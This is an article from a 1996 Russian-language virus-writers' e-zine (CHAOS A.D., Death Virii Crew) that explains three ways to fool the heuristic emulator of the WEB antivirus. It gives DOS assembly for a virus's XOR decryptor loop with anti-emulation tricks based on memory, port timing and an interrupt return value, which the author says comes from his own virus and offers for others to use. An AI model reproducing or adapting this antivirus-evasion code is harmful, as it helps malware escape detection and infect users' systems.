[Death Virii Crew] Presents CHAOS A.D. Vmag, Issue 1, May 1996 file 003 3 простейших способа поставить эвристику WEB'a в тупик. by Reminder Отчего-то, незнаю отчего, автор WEB'a возомнил себя спасителем человечества. Что-то там пишет, какой-то антивирус, не знаю. Да. Но вот подумалось мне, что масса вирмаков страдает над этим подобием к антивирусу в надежде, что не будет ловить он своей тупой эвристикой их произведения. И решил я FAQ такой небольшой написать, с единственным вопросом : " Как обойти WEB ?".\ Ответ будет - очень и очень просто. И небольшой комментарий к ответу: Что же это такое - эти эвристики ? Это, скажем прямо пока еще детство. К примеру WEB - сделал его автор подобие реальной машины и реальной работы весьма и весьма коряво. Ну вот машина, вот код под нее - он исполняется. Но если вдруг код будет каким то странным, к примеру к портам обращаться - как WEB будет на это реагировать ? - пока что никак. А если скроем мы в этих дебрях значение расшифровщика - что тогда ? Альбом. Точнее - облом. Не расшифрует Web нас и все тут. А ежели мы код расшифровщика будем брать из какой то памяти, и приблизительно не относящейся к вирусу ? Тоже облом. Что это там прерывание возвращают после своей работы ? Нам понятно, а WEB'у нет - воспользуемся этим, и напишем небольшой код обхода. Ниже, представлен небольшая часть из моего вируса, где описан расшифровщик и три приемчика для WEB'а - любой на выбор, можно и все сразу. Пользуйтесь на здоровье. .model tiny .code org 100h start: call $+3 pop bp sub bp,3 mov bx,0 kod equ $-2 lea di,begin-100h mov cx,len_codir/2 asd: xor cs:[bp+di],bx inc di ;========================= memory ====================== push ds mov ax,60h mov ds,ax mov word ptr ds:[7],bx mov bx,1234h mov bx,word ptr ds:[7] ; web не выполняет, а реально да pop ds nop ;=========================== port ======================= in ax,42h mov si,ax in ax,42h cmp ax,si jnz ccc mov bx,1234h ; web выполняет, реально нет ccc: ;========================= interrupt ===================== mov ax,0BA07h int 21h or al,al jz nonweb xor bx,ax ; web выполняет, реально нет nonweb: inc di db 81h,0c3h,0,0 ; add bx,0 dob equ $-2 loop asd begin: ..... [ тело вируса ] (c) by Reminder [DVC]